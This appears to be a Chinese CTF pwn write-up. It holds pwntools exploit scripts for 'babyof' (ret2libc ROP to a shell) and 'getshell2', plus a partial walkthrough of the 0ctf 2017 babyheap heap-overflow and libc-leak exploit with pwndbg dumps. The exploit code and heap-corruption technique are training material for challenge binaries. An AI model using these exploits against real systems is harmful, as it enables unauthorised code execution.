get_flag函数接受一个参数 k,向目标程序发送一个字符串(请求),并根据目标程序的响应获取 flag 的值。在这个函数中,先将 k 发送给目标程序,然后获取响应中 0x 开头的字符串(栈中地址),将该字符串逆序([::-1])后截断去掉换行符,再按照每两个字符转换成相应的 ascii 码,并组成新的字符串 f 返回。
for 循环从 12 到 19,每次将一个参数中的某一个参数设置成 fmt 字符串的参数位置(如12$p’、13$p’),然后调用 get_flag() 函数获取返回值,并将返回值添加到 flag 中。
[2021 鹤城杯]babyof 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import * p = remote('1.14.71.254' ,28597 ) libc = ELF('libc-2.27.so' ) elf = ELF('babyof' ) ret = 0x0000000000400506 pop_rdi = 0x0000000000400743 puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = 0x40066B p.recvuntil("?" ) payload = b'a' *0x40 + p64(0 ) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) +p64(main) p.sendline(payload) libc_base = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' )) - libc.sym['puts' ] binsh = libc_base + 0x00000000001b3e1a system = libc_base + libc.sym['system' ] p.recvuntil("?" ) payload = b'a' *0x40 + p64(0 ) + p64(ret) +p64(pop_rdi) + p64(binsh) + p64(system) p.sendline(payload) p.interactive()
[WUSTCTF 2020]getshell2 tips: p32(system_plt) + p32(0) + p32(str_binsh) 可以替换成 p32(call_system) + p32(str_sh) 这是因为 call system 指令执行后会被当前 eip 寄存器的值压栈,所以在 p32(system_plt) + p32(0) + p32(str_binsh) 中我们用 p32(0) 作为 eip 寄存器的值进入栈中。那么我们使用 call system 指令的时候就不需要 p32(0) 作为 eip 寄存器的值进入栈中(call system 指令会自动实现将当前 eip 寄存器的值压栈),所以该指令后面直接跟参数 同样的,在 linux 中,/bin/sh 是二进制文件,而 sh 是环境变量,相当于执行 /bin/sh
1 2 3 4 5 6 from pwn import * p=remote('node3.anna.nssctf.cn' ,28711 ) elf=ELF('./service' ) payload = b'a' *0x1c + p32(0x08048529 ) + p32(next (elf.search(b'sh\x00' ))) p.sendline(payload) p.interactive()
堆 0ctf_2017_babyheap 前言:buu刷题遇到到第一道堆题,是我刷题到目前为止遇到到最大的挑战,我也是看了很多wp才逐渐理解这道题的思路,希望可以慢慢前进吧
分析: 静态分析 1.chesksec查看保护机制: 1 2 3 4 5 6 [*] '/home/fanfan/pwn challenges/heap/babyheap_0ctf_2017' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
保护全开,那必然就要想办法泄漏出 libc 基地址的偏移量来实现调用其他函数
2.运行程序: 1 2 3 4 5 6 ===== Baby Heap in 2017 ===== 1. Allocate 2. Fill 3. Free 4. Dump 5. Exit Command:
菜单题,几个功能分别是分配、填充、释放和输出
3.拖入 IDA 64bit 分析: main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { char *v4; v4 = sub_B70(); while ( 1 ) { menu(); switch ( get_number() ) { case 1LL : add((__int64)v4); break ; case 2LL : edit(v4); break ; case 3LL : free_0(v4); break ; case 4LL : show(v4); break ; case 5LL : return 0LL ; default : continue ; } } }
然后看一下sub_B70()函数(为了便于分析,我已经将其中有些匿名函数重命名了)
sub_B70()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 char *sub_B70 () { int fd; char *addr; unsigned __int64 v3; __int64 buf[4 ]; buf[3 ] = __readfsqword(0x28 u); setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(_bss_start, 0LL , 2 , 0LL ); alarm(0x3C u); puts ("===== Baby Heap in 2017 =====" ); fd = open("/dev/urandom" , 0 ); if ( fd < 0 || read(fd, buf, 0x10 uLL) != 16 ) exit (-1 ); close(fd); addr = (char *)((buf[0 ] % 0x555555543000 uLL + 0x10000 ) & 0xFFFFFFFFFFFFF000 LL); v3 = (buf[1 ] % 0xE80 uLL) & 0xFFFFFFFFFFFFFFF0 LL; if ( mmap(addr, 0x1000 uLL, 3 , 34 , -1 , 0LL ) != addr ) exit (-1 ); return &addr[v3]; }
有个mmp函数,整个函数就是获取一块空间
mmp函数:将硬盘上的一块区域映射为虚拟内存
void *mmap(void addr, size_t length, int prot, int flags, int fd, off_t offset); 创建共享内存映射
参数:
addr: 指定映射区的首地址。通常传NULL,表示让系统自动分配
length:共享内存映射区的大小。(<= 文件的实际大小,通常为文件大小)
prot: 共享内存映射区的读写属性。PROT_READ(读)、PROT_WRITE(写)、PROT_READ|PROT_WRITE(读写)
flags: 标注共享内存的共享属性。
MAP_SHARED(共享,会将映射区所做的操作反映到物理设备(磁盘)上。) MAP_PRIVATE(私有,映射区所做的修改不会反映到物理设备。 )
fd: 用于创建共享内存映射区的那个文件的 文件描述符.
offset:默认0,表示映射文件全部。偏移位置。需是 4k 的整数倍。
返回值: 成功:映射区的首地址。
失败:MAP_FAILED (void(-1)), error
接下来看一下菜单里的各个函数
1.allocate
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 void __fastcall add (__int64 a1) { int i; int number; void *v3; for ( i = 0 ; i <= 15 ; ++i ) { if ( !*(_DWORD *)(24LL * i + a1) ) { printf ("Size: " ); number = get_number(); if ( number > 0 ) { if ( number > 4096 ) number = 4096 ; v3 = calloc (number, 1uLL ); if ( !v3 ) exit (-1 ); *(_DWORD *)(24LL * i + a1) = 1 ; *(_QWORD *)(a1 + 24LL * i + 8 ) = number; *(_QWORD *)(a1 + 24LL * i + 16 ) = v3; printf ("Allocate Index %d\n" , (unsigned int )i); } return ; } } }
void *calloc(size_t nitems, size_t size) 分配所需的内存空间,并返回一个指向它的指针。malloc 和 calloc 之间的不同点是,malloc 不会设置内存为零,而 calloc 会设置分配的内存为零。
参数
nitems – 要被分配的元素个数。
size – 元素的大小
返回值
该函数返回一个指针,指向已分配的内存。如果请求失败,则返回 NULL。
该函数大概就是申请一块size内存,将内存信息写入,简单化一下结构图:
2.FILL(存在漏洞!)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 __int64 __fastcall edit (__int64 a1) { __int64 result; int v2; int v3; printf ("Index: " ); result = get_number(); v2 = result; if ( (unsigned int )result <= 0xF ) { result = *(unsigned int *)(24LL * (int )result + a1); if ( (_DWORD)result == 1 ) { printf ("Size: " ); result = get_number(); v3 = result; if ( (int )result > 0 ) { printf ("Content: " ); return sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16 ), v3); } } } return result; }
这个函数大致上就是堆idx的块设置size,并填入context
这里就出现一个问题,在Allcate中我们输入size申请一块大小size大小的内存,但是Fill函数又让我们输入一遍size,然后读size大小的数据到该区域指向的内存空间。这存在很大问题,若我们fill输入size无限大,就可以把堆撑爆,存在漏洞!
3.Free
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 __int64 __fastcall sub_F50 (__int64 a1) { __int64 result; int v2; printf ("Index: " ); result = get_number(); v2 = result; if ( (unsigned int )result <= 0xF ) { result = *(unsigned int *)(24LL * (int )result + a1); if ( (_DWORD)result == 1 ) { *(_DWORD *)(24LL * v2 + a1) = 0 ; *(_QWORD *)(24LL * v2 + a1 + 8 ) = 0LL ; free (*(void **)(24LL * v2 + a1 + 16 )); result = 24LL * v2 + a1; *(_QWORD *)(result + 16 ) = 0LL ; } } return result; }
释放idx的块,将该区域使用位置为0,并将指针指为0,即指针跟着释放
4.Dump
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __fastcall show (__int64 a1) { int result; int v2; printf ("Index: " ); result = get_number(); v2 = result; if ( (unsigned int )result <= 0xF ) { result = *(_DWORD *)(24LL * result + a1); if ( result == 1 ) { puts ("Content: " ); sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16 ), *(_QWORD *)(24LL * v2 + a1 + 8 )); return puts (byte_14F1); } } return result; }
打印idx的块内容
利用思路 漏洞分析 fill中的size可以重新设置,故可以造成堆溢出。
使用两次double free与fastbin attack,通过unsorted bin的特性,若unsorted bin中只有一个chunk的时候,这个chunk的fd和bk指针存放的都是main_arena+88,我们可以这获得libc的基地址
获取libc的基址 libc的基址通过unsorted bin的特性获得,只要申请一块较大的chunk,并free掉,该chunk的fd和bk地址便可用来计算。因此我们要获得被free掉的chunk内容,而dump函数就算输出chunk内容。因此要使得两个指针指向同一个较大的chunk块,将其中一个指针chunk释放,另一个使用dump获取地址内存
动态调试 根据题目情况构造好交互函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *from LibcSearcher import * p=process('./babyheap_0ctf_2017' )def debug (): attach(p) pause()def allo (size ): p.recvuntil("Command: " ) p.sendline(str (1 )) p.recvuntil("Size: " ) p.sendline(str (size))def fill (idx,size,content ): p.recvuntil("Command: " ) p.sendline(str (2 )) p.recvuntil("Index: " ) p.sendline(str (idx)) p.recvuntil("Size: " ) p.sendline(str (size)) p.recvuntil("Content: " ) p.sendline(content)def free (idx ): p.recvuntil("Command: " ) p.sendline(str (3 )) p.recvuntil("Index: " ) p.sendline(str (idx))def dump (idx ): p.recvuntil("Command: " ) p.sendline(str (4 )) p.recvuntil("Index: " ) p.sendline(str (idx))
首先申请初始块 1 2 3 4 5 allo(0x10 ) allo(0x10 ) allo(0x10 ) allo(0x10 ) allo(0x80 )
这里遇到了些许版本问题,因为2.23libc版本中没有tcachebins,但是我的ubuntu的libc版本是2.26的,所以本地动态调试的时候会出现不同.于是我就学习了一下怎样更换elf文件的glibc,这里简单记一下,需要的两个工具:patchelf和glibc-all-in-one
安装完毕后,首先使用glibc-all-in-one现在题目对应的gilbc
./download (cat list后所显示的gilbc各种版本中所需要的版本)
下载好的glibc在lib文件夹中,然后复制ld文件到pwn题目录下,此命令我是在题目终端下执行的,题目文件夹下面应该有这三个文件
然后ldd 对应题目查看glibc和ld
替换libc文件,设置ld文件
patchelf –replace-needed libc.so.6 ./libc-2.23.so ./babyheap_0ctf_2017 ————————-原本的libc—-要替换的libc—–pwn文件
patchelf –set-interpreter ./ld-2.23.so ./babyheap_0ctf_2017
—————————对应的ld文件—-pwn文件
然后继续
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x56052e116000 Size: 0x21 Free chunk (fastbins) | PREV_INUSE Addr: 0x56052e116020 Size: 0x21 fd: 0x00 Free chunk (fastbins) | PREV_INUSE Addr: 0x56052e116040 Size: 0x21 fd: 0x56052e116020 Allocated chunk | PREV_INUSE Addr: 0x56052e116060 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x56052e116080 Size: 0x91 Top chunk | PREV_INUSE Addr: 0x56052e116110 Size: 0x20ef1 pwndbg> x/50gx 0x55c755e0d000 0x55c755e0d000: 0x0000000000000000 0x0000000000000021 0x55c755e0d010: 0x0000000000000000 0x0000000000000000 0x55c755e0d020: 0x0000000000000000 0x0000000000000021 0x55c755e0d030: 0x0000000000000000 0x0000000000000000 0x55c755e0d040: 0x0000000000000000 0x0000000000000021 0x55c755e0d050: 0x0000000000000000 0x0000000000000000 0x55c755e0d060: 0x0000000000000000 0x0000000000000021 0x55c755e0d070: 0x0000000000000000 0x0000000000000000 0x55c755e0d080: 0x0000000000000000 0x0000000000000091 0x55c755e0d090: 0x0000000000000000 0x0000000000000000 0x55c755e0d0a0: 0x0000000000000000 0x0000000000000000 0x55c755e0d0b0: 0x0000000000000000 0x0000000000000000 0x55c755e0d0c0: 0x0000000000000000 0x0000000000000000 0x55c755e0d0d0: 0x0000000000000000 0x0000000000000000 0x55c755e0d0e0: 0x0000000000000000 0x0000000000000000 0x55c755e0d0f0: 0x0000000000000000 0x0000000000000000 0x55c755e0d100: 0x0000000000000000 0x0000000000000000 0x55c755e0d110: 0x0000000000000000 0x0000000000020ef1 0x55c755e0d120: 0x0000000000000000 0x0000000000000000 0x55c755e0d130: 0x0000000000000000 0x0000000000000000 0x55c755e0d140: 0x0000000000000000 0x0000000000000000 0x55c755e0d150: 0x0000000000000000 0x0000000000000000 0x55c755e0d160: 0x0000000000000000 0x0000000000000000 0x55c755e0d170: 0x0000000000000000 0x0000000000000000 0x55c755e0d180: 0x0000000000000000 0x0000000000000000
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555f4fda7000 Size: 0x21 Free chunk (fastbins) | PREV_INUSE Addr: 0x555f4fda7020 Size: 0x21 fd: 0x00 Free chunk (fastbins) | PREV_INUSE Addr: 0x555f4fda7040 Size: 0x21 fd: 0x555f4fda7020 Allocated chunk | PREV_INUSE Addr: 0x555f4fda7060 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x555f4fda7080 Size: 0x91 Top chunk | PREV_INUSE Addr: 0x555f4fda7110 Size: 0x20ef1 pwndbg> bins fastbins 0x20: 0x555f4fda7040 —▸ 0x555f4fda7020 ◂— 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty pwndbg> x/50gx 0x555f4fda7000 0x555f4fda7000: 0x0000000000000000 0x0000000000000021 0x555f4fda7010: 0x0000000000000000 0x0000000000000000 0x555f4fda7020: 0x0000000000000000 0x0000000000000021 0x555f4fda7030: 0x0000000000000000 0x0000000000000000 0x555f4fda7040: 0x0000000000000000 0x0000000000000021 0x555f4fda7050: 0x0000555f4fda7020 0x0000000000000000 0x555f4fda7060: 0x0000000000000000 0x0000000000000021 0x555f4fda7070: 0x0000000000000000 0x0000000000000000 0x555f4fda7080: 0x0000000000000000 0x0000000000000091 0x555f4fda7090: 0x0000000000000000 0x0000000000000000 0x555f4fda70a0: 0x0000000000000000 0x0000000000000000 0x555f4fda70b0: 0x0000000000000000 0x0000000000000000 0x555f4fda70c0: 0x0000000000000000 0x0000000000000000 0x555f4fda70d0: 0x0000000000000000 0x0000000000000000 0x555f4fda70e0: 0x0000000000000000 0x0000000000000000 0x555f4fda70f0: 0x0000000000000000 0x0000000000000000 0x555f4fda7100: 0x0000000000000000 0x0000000000000000 0x555f4fda7110: 0x0000000000000000 0x0000000000020ef1 0x555f4fda7120: 0x0000000000000000 0x0000000000000000 0x555f4fda7130: 0x0000000000000000 0x0000000000000000 0x555f4fda7140: 0x0000000000000000 0x0000000000000000 0x555f4fda7150: 0x0000000000000000 0x0000000000000000 0x555f4fda7160: 0x0000000000000000 0x0000000000000000 0x555f4fda7170: 0x0000000000000000 0x0000000000000000 0x555f4fda7180: 0x0000000000000000 0x0000000000000000
两个free的堆块均在fastbins中
填充2号位置,使其指向4号位置 通过漏洞fill堆溢出,修改块2里指向块1的低地址,修改为0x80,即可使得块2指向块4
1 2 3 payload = p64(0 )*3 +p64(0x21 )+p64(0 )*3 +p64(0x21 ) payload +=p8(0x80 ) fill(0 ,len (payload),payload)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 pwndbg> x/50gx 0x557919ada000 0x557919ada000: 0x0000000000000000 0x0000000000000021 0x557919ada010: 0x0000000000000000 0x0000000000000000 0x557919ada020: 0x0000000000000000 0x0000000000000021 0x557919ada030: 0x0000000000000000 0x0000000000000000 0x557919ada040: 0x0000000000000000 0x0000000000000021 0x557919ada050: 0x0000557919ada080 0x0000000000000000 0x557919ada060: 0x0000000000000000 0x0000000000000021 0x557919ada070: 0x0000000000000000 0x0000000000000000 0x557919ada080: 0x0000000000000000 0x0000000000000091 0x557919ada090: 0x0000000000000000 0x0000000000000000 0x557919ada0a0: 0x0000000000000000 0x0000000000000000 0x557919ada0b0: 0x0000000000000000 0x0000000000000000 0x557919ada0c0: 0x0000000000000000 0x0000000000000000 0x557919ada0d0: 0x0000000000000000 0x0000000000000000 0x557919ada0e0: 0x0000000000000000 0x0000000000000000 0x557919ada0f0: 0x0000000000000000 0x0000000000000000 0x557919ada100: 0x0000000000000000 0x0000000000000000 0x557919ada110: 0x0000000000000000 0x0000000000020ef1 0x557919ada120: 0x0000000000000000 0x0000000000000000 0x557919ada130: 0x0000000000000000 0x0000000000000000 0x557919ada140: 0x0000000000000000 0x0000000000000000 0x557919ada150: 0x0000000000000000 0x0000000000000000 0x557919ada160: 0x0000000000000000 0x0000000000000000 0x557919ada170: 0x0000000000000000 0x0000000000000000 0x557919ada180: 0x0000000000000000 0x0000000000000000
1 2 payload +=p64(0 )*3 +p64(0x21 ) fill(3 ,len (payload),payload)
为绕过检测,修改块4:0x80->0x10,溢出实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x56359b821000 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x56359b821020 Size: 0x21 Free chunk (fastbins) | PREV_INUSE Addr: 0x56359b821040 Size: 0x21 fd: 0x56359b821080 Allocated chunk | PREV_INUSE Addr: 0x56359b821060 Size: 0x21 Free chunk (fastbins) | PREV_INUSE Addr: 0x56359b821080 Size: 0x21 fd: 0x00 Allocated chunk | PREV_INUSE Addr: 0x56359b8210a0 Size: 0x21 Allocated chunk Addr: 0x56359b8210c0 Size: 0x2100 Allocated chunk Addr: 0x56359b8231c0 Size: 0x00 pwndbg> bins fastbins 0x20: 0x56359b821040 —▸ 0x56359b821080 ◂— 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty pwndbg> x/50gx 0x56359b821000 0x56359b821000: 0x0000000000000000 0x0000000000000021 0x56359b821010: 0x0000000000000000 0x0000000000000000 0x56359b821020: 0x0000000000000000 0x0000000000000021 0x56359b821030: 0x0000000000000000 0x0000000000000000 0x56359b821040: 0x0000000000000000 0x0000000000000021 0x56359b821050: 0x000056359b821080 0x0000000000000000 0x56359b821060: 0x0000000000000000 0x0000000000000021 0x56359b821070: 0x0000000000000000 0x0000000000000000 0x56359b821080: 0x0000000000000000 0x0000000000000021 0x56359b821090: 0x0000000000000000 0x0000000000000000 0x56359b8210a0: 0x0000000000000000 0x0000000000000021 0x56359b8210b0: 0x0000000000000080 0x0000000000000000 0x56359b8210c0: 0x0000000000000000 0x0000000000002100 0x56359b8210d0: 0x0000000000000000 0x0000000000000000 0x56359b8210e0: 0x0000000000000000 0x0000000000000000 0x56359b8210f0: 0x0000000000000000 0x0000000000000000 0x56359b821100: 0x0000000000000000 0x0000000000000000 0x56359b821110: 0x0000000000000000 0x0000000000020ef1 0x56359b821120: 0x0000000000000000 0x0000000000000000 0x56359b821130: 0x0000000000000000 0x0000000000000000 0x56359b821140: 0x0000000000000000 0x0000000000000000 0x56359b821150: 0x0000000000000000 0x0000000000000000 0x56359b821160: 0x0000000000000000 0x0000000000000000 0x56359b821170: 0x0000000000000000 0x0000000000000000 0x56359b821180: 0x0000000000000000 0x0000000000000000
重新申请空间,将四号位置分配回来 再申请两块0x21大小的空间,注意,申请第一个时,index=1 为原来的2号chunk;申请第二个时,index=2,为原来的4号chunk;但我们最终想让4号chunk再次free掉,进入unsorted bin中,因此要将4号chunk大小改回0x91,这样也能让top chunk找到。
1、2、4
释放:块1->块2
修改:块2->块4
重新申请:块4->块2(idx1->idx2)
故
原块1直接释放态->allocate态
原块2->idx1
原块4->idx2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x55cdf6b69000 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x55cdf6b69020 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x55cdf6b69040 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x55cdf6b69060 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x55cdf6b69080 Size: 0x21 Allocated chunk Addr: 0x55cdf6b6b1c0 Size: 0x00
重新修改chunk4:0x10->0x80
为了让top chunk重新找得到,故需要重新将chunk4的大小修改回0x80,以便于之后申请操作
1 2 payload = p64(0 )*3 + p64(0x91 ) fill(3 ,len (payload),payload)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x559e88077000 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x559e88077020 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x559e88077040 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x559e88077060 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x559e88077080 Size: 0x91 Top chunk | PREV_INUSE Addr: 0x559e88077110 Size: 0x20ef1 pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty pwndbg> x/50gx 0x559e88077000 0x559e88077000: 0x0000000000000000 0x0000000000000021 0x559e88077010: 0x0000000000000000 0x0000000000000000 0x559e88077020: 0x0000000000000000 0x0000000000000021 0x559e88077030: 0x0000000000000000 0x0000000000000000 0x559e88077040: 0x0000000000000000 0x0000000000000021 0x559e88077050: 0x0000000000000000 0x0000000000000000 0x559e88077060: 0x0000000000000000 0x0000000000000021 0x559e88077070: 0x0000000000000000 0x0000000000000000 0x559e88077080: 0x0000000000000000 0x0000000000000091 0x559e88077090: 0x0000000000000000 0x0000000000000000 0x559e880770a0: 0x0000000000000000 0x0000000000000021 0x559e880770b0: 0x0000000000000080 0x0000000000000000 0x559e880770c0: 0x0000000000000000 0x0000000000002100 0x559e880770d0: 0x0000000000000000 0x0000000000000000 0x559e880770e0: 0x0000000000000000 0x0000000000000000 0x559e880770f0: 0x0000000000000000 0x0000000000000000 0x559e88077100: 0x0000000000000000 0x0000000000000000 0x559e88077110: 0x0000000000000000 0x0000000000020ef1 0x559e88077120: 0x0000000000000000 0x0000000000000000 0x559e88077130: 0x0000000000000000 0x0000000000000000 0x559e88077140: 0x0000000000000000 0x0000000000000000 0x559e88077150: 0x0000000000000000 0x0000000000000000 0x559e88077160: 0x0000000000000000 0x0000000000000000 0x559e88077170: 0x0000000000000000 0x0000000000000000 0x559e88077180: 0x0000000000000000 0x0000000000000000
申请一个块,防止块4free与top chunk合并
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x55cf4877d000 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x55cf4877d020 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x55cf4877d040 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x55cf4877d060 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x55cf4877d080 Size: 0x91 Allocated chunk | PREV_INUSE Addr: 0x55cf4877d110 Size: 0x91 Top chunk | PREV_INUSE Addr: 0x55cf4877d1a0 Size: 0x20e61 pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty pwndbg> x/50gx 0x55cf4877d000 0x55cf4877d000: 0x0000000000000000 0x0000000000000021 0x55cf4877d010: 0x0000000000000000 0x0000000000000000 0x55cf4877d020: 0x0000000000000000 0x0000000000000021 0x55cf4877d030: 0x0000000000000000 0x0000000000000000 0x55cf4877d040: 0x0000000000000000 0x0000000000000021 0x55cf4877d050: 0x0000000000000000 0x0000000000000000 0x55cf4877d060: 0x0000000000000000 0x0000000000000021 0x55cf4877d070: 0x0000000000000000 0x0000000000000000 0x55cf4877d080: 0x0000000000000000 0x0000000000000091 0x55cf4877d090: 0x0000000000000000 0x0000000000000000 0x55cf4877d0a0: 0x0000000000000000 0x0000000000000021 0x55cf4877d0b0: 0x0000000000000080 0x0000000000000000 0x55cf4877d0c0: 0x0000000000000000 0x0000000000002100 0x55cf4877d0d0: 0x0000000000000000 0x0000000000000000 0x55cf4877d0e0: 0x0000000000000000 0x0000000000000000 0x55cf4877d0f0: 0x0000000000000000 0x0000000000000000 0x55cf4877d100: 0x0000000000000000 0x0000000000000000 0x55cf4877d110: 0x0000000000000000 0x0000000000000091 0x55cf4877d120: 0x0000000000000000 0x0000000000000000 0x55cf4877d130: 0x0000000000000000 0x0000000000000000 0x55cf4877d140: 0x0000000000000000 0x0000000000000000 0x55cf4877d150: 0x0000000000000000 0x0000000000000000 0x55cf4877d160: 0x0000000000000000 0x0000000000000000 0x55cf4877d170: 0x0000000000000000 0x0000000000000000 0x55cf4877d180: 0x0000000000000000 0x0000000000000000
free(4) 此时已经存在两个index指向一个chunk。一个是最开始申请的index=4,一个是后边再重新申请的index=2,这时free(4),4号chunk的fd和bk变成了main+arena+88地址,_malloc_hook=main_arena-0x10
1 2 3 4 free(4 ) dump(2 ) __malloc_hook = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\0' )) - 88 - 0x10 libc_base = __malloc_hook - libc.symbols["__malloc_hook" ] print (hex (libc_base))
打印idx2(即idx4内容)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x55a48aeca000 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x55a48aeca020 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x55a48aeca040 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x55a48aeca060 Size: 0x21 Free chunk (unsortedbin) | PREV_INUSE Addr: 0x55a48aeca080 Size: 0x91 fd: 0x7f46cb771b78 bk: 0x7f46cb771b78 Allocated chunk Addr: 0x55a48aeca110 Size: 0x90 Top chunk | PREV_INUSE Addr: 0x55a48aeca1a0 Size: 0x20e61 pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x55a48aeca080 —▸ 0x7f46cb771b78 (main_arena+88) ◂— 0x55a48aeca080 smallbins empty largebins empty pwndbg> x/50gx 0x55a48aeca000 0x55a48aeca000: 0x0000000000000000 0x0000000000000021 0x55a48aeca010: 0x0000000000000000 0x0000000000000000 0x55a48aeca020: 0x0000000000000000 0x0000000000000021 0x55a48aeca030: 0x0000000000000000 0x0000000000000000 0x55a48aeca040: 0x0000000000000000 0x0000000000000021 0x55a48aeca050: 0x0000000000000000 0x0000000000000000 0x55a48aeca060: 0x0000000000000000 0x0000000000000021 0x55a48aeca070: 0x0000000000000000 0x0000000000000000 0x55a48aeca080: 0x0000000000000000 0x0000000000000091 0x55a48aeca090: 0x00007f46cb771b78 0x00007f46cb771b78 0x55a48aeca0a0: 0x0000000000000000 0x0000000000000021 0x55a48aeca0b0: 0x0000000000000080 0x0000000000000000 0x55a48aeca0c0: 0x0000000000000000 0x0000000000002100 0x55a48aeca0d0: 0x0000000000000000 0x0000000000000000 0x55a48aeca0e0: 0x0000000000000000 0x0000000000000000 0x55a48aeca0f0: 0x0000000000000000 0x0000000000000000 0x55a48aeca100: 0x0000000000000000 0x0000000000000000 0x55a48aeca110: 0x0000000000000090 0x0000000000000090 0x55a48aeca120: 0x0000000000000000 0x0000000000000000 0x55a48aeca130: 0x0000000000000000 0x0000000000000000 0x55a48aeca140: 0x0000000000000000 0x0000000000000000 0x55a48aeca150: 0x0000000000000000 0x0000000000000000 0x55a48aeca160: 0x0000000000000000 0x0000000000000000 0x55a48aeca170: 0x0000000000000000 0x0000000000000000 0x55a48aeca180: 0x0000000000000000 0x0000000000000000
1 2 [*] __malloc_hook: 0x7f46cb771b10 [*] libc_base: 0x7f46cb3ad000
切割4号块 将四号块切割,使得一部分块放入fastbin中,这样才便于利用
申请0x60空间
新块的idx为4(把idx4给了分配的块,因为分配的0x21没有idx)
切割0x91的块,剩下0x21放入了unsortedbin中
